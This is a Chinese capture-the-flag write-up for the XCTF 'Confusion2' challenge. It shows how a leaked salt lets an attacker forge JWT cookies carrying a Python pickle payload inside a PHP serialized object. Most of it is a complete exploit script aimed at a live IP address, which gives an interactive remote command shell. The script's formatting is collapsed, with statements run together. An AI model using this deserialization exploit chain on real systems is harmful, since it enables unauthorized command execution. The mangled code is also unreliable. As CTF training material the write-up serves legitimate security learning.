攻防世界--Confusion2

这个题是Confusion1的延续，所以根据题目提示，先在1中把salt文件内容先读出来

_Y0uW1llN3verKn0w1t_

这里开放了register和login，注册并登陆
关于md5值爆破，我比较习惯使用数字来爆破，效率比较高一下

<?php
$i=0;
for ($i;$i<=9999999999999999;$i++) {if (substr(md5($i), 0, 6) == '7358dd') {echo($i);exit;}
}

登陆后并没有什么发现

查看cookie，发现token是ey开头的，猜测是jwt

解密

得出一串PHP序列化后的字符串

{"data": "O:4:\"User\":2:{s:9:\"user_data\";s:57:\"(lp1\nVadmin\np2\naS'202cb962ac59075b964b07152d234b70'\np3\na.\";}"}

再看看，发现User类中user_data这个属性,是Python序列化的字符串

(lp1\nVtest\np2\naS'098f6bcd4621d373cade4e832627b4f6'\np3\na

这里可以利用pickle反序列化漏洞

根据提示

sign = alg(header + payload + SALT)

得出signature

var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = SHA256(encodedString +  '_Y0uW1llN3verKn0w1t_');

那思路有了

构造好Python序列化的RCE的字符串
放进PHP的序列化的字符串里面
根据上文JWT算法算出对应的签名
替换Cookie,就能执行任意命令
Flag通过HTTP外带出来就行了

参考Payload：

import cPickle
import os
import sys
import base64
import hashlib
import json
import Cookie
import commands
import requests
import reif os.name != 'posix':print 'This  must be run on Linux!'sys.exit(1)sess = requests.Session()
url = 'http://220.249.52.133:35437/'
SALT = '_Y0uW1llN3verKn0w1t_'
username = 'test'
password = 'test'
cmd = 'ls'def md5proof(strs,num):for i in range(100000,100000000):a = hashlib.md5(str(i).encode('utf-8')).hexdigest()if a[0:num] == strs:print("[md5proof] %d" %i)return str(i)def base64_url_encode(text):return base64.b64encode(text).replace('+', '-').replace('/', '_').replace('=', '')def base64_url_decode(text):text = text.replace('-', '+').replace('_', '/')while True:try:result = base64.b64decode(text)except TypeError:text += '='else:breakreturn resultclass PickleRce(object):def __reduce__(self):return commands.getoutput, (cmd, )def register(username, password):while True:verify = md5proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>',sess.get(url + 'login.php', allow_redirects=False).content)[0],6)if len(verify) > 0 and '*' not in verify:breakdata = {'username': username,'password': password,'verify': verify}ret = sess.post(url + 'register.php', data=data, allow_redirects=False)if 'success' in ret.content:return Trueelse:print '[!] Register failed!'print ret.contentreturn Falsedef login(username, password):while True:verify = md5proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>',sess.get(url + 'login.php', allow_redirects=False).content)[0],6)if len(verify) > 0 and '*' not in verify:breakdata = {'username': username,'password': password,'verify': verify}ret = sess.post(url + 'login.php', data=data, allow_redirects=False)if 'success' in ret.content:return retelse:print '[!] Login failed!'print ret.contentreturn Nonedef create_jwt(kid, data):jwt_header = base64_url_encode('{"typ":"JWT","alg":"sha256","kid":"%d"}' % kid)jwt_payload = base64_url_encode('{"data":"%s"}' % data)jwt_signature = base64_url_encode(hashlib.sha256(jwt_header + '.' + jwt_payload + SALT).hexdigest())return jwt_header + '.' + jwt_payload + '.' + jwt_signaturedef serialize():payload = cPickle.dumps([PickleRce(), PickleRce()])data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (len(payload), payload))[1:-1]print datareturn dataif register(username, password) is not None:login_result = login(username, password)if login_result is not None:try:while True:cmd = raw_input('>>> ')cookies = login_result.cookies# print '[*] Old Cookie token: ' + cookies['token']jwt = create_jwt(int(re.findall('"kid":"(.*?)"', base64_url_decode(login_result.cookies['token'].split('.')[0]))[0]), serialize())new_token = Cookie.SimpleCookie().value_encode(jwt)[1]# print '[*] New Cookie token: ' + new_tokennew_cookies = {'PHPSESSID': cookies['PHPSESSID'],'token': new_token}ret = requests.get(url + 'index.php',allow_redirects=False, cookies=new_cookies)print '[*] RCE result: ' + re.findall('<p class="hello">Hello ([\s\S]*?)</p>', ret.content)[0]except KeyboardInterrupt:print '\nExit.'

攻防世界--Confusion2相关推荐

【攻防世界001】Guess-the-Number
攻防世界之前刷了几十题了,没写wp,感觉很简单没啥意思.后来参加了几次比赛,发现有点干不动,决定还是老老实实刷题好了.这是第一篇wp,这题很简单,是个jar,用jd-gui可以得到java源码. 原来 ...
攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制
ctf(pwn) canary保护机制讲解与破解方法介绍程序执行流程有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析解题思路程序存在canary保护 ...
攻防世界(Pwn) forgot---栈溢出；(方法二)
攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...
攻防世界(Pwn) forgot---栈溢出；(方法一)
攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...
攻防世界misc新手_[攻防世界]mobile新手练习区easy-apk
[攻防世界]mobile新手练习区easy-apk easy-apk最佳Writeup由129师386旅独立团 • devi1提供难度系数: 7.0 题目来源: 暂无题目描述:无题目场景: 暂无 ...
攻防世界 ——crypto
目录新手区部分题解: 1,easy_RSA 2,Normal_RSA 3, 幂数加密 4,easy_ECC 高手进阶区部分题题解 5, ENC 6,告诉你个秘密 7,Easy-one 8,说我作弊需 ...
攻防世界———MISC 高手区题解
目录 1,base64stego 2,easycap 3,Avatar 4,What-is-this 5,签到题 6,Training-Stegano-1 7,Excaliflag 8,Get-the ...
攻防世界 web（二）
这周接着刷攻防世界的web题(￣︶￣)↗ 1.command_execution 看提示这题为命令执行漏洞(command_execution),关于命令执行漏洞,我前面有篇博客详细介绍了,大家不了解 ...
misc高阶攻防世界_攻防世界 Misc 进阶题（一）
攻防世界 Misc 进阶题(一) 关于隐写术的思路或方法转载: https://blog.csdn.net/a_small_rabbit/article/details/79644078 隐 ...

攻防世界--Confusion2

攻防世界--Confusion2相关推荐

最新文章

热门文章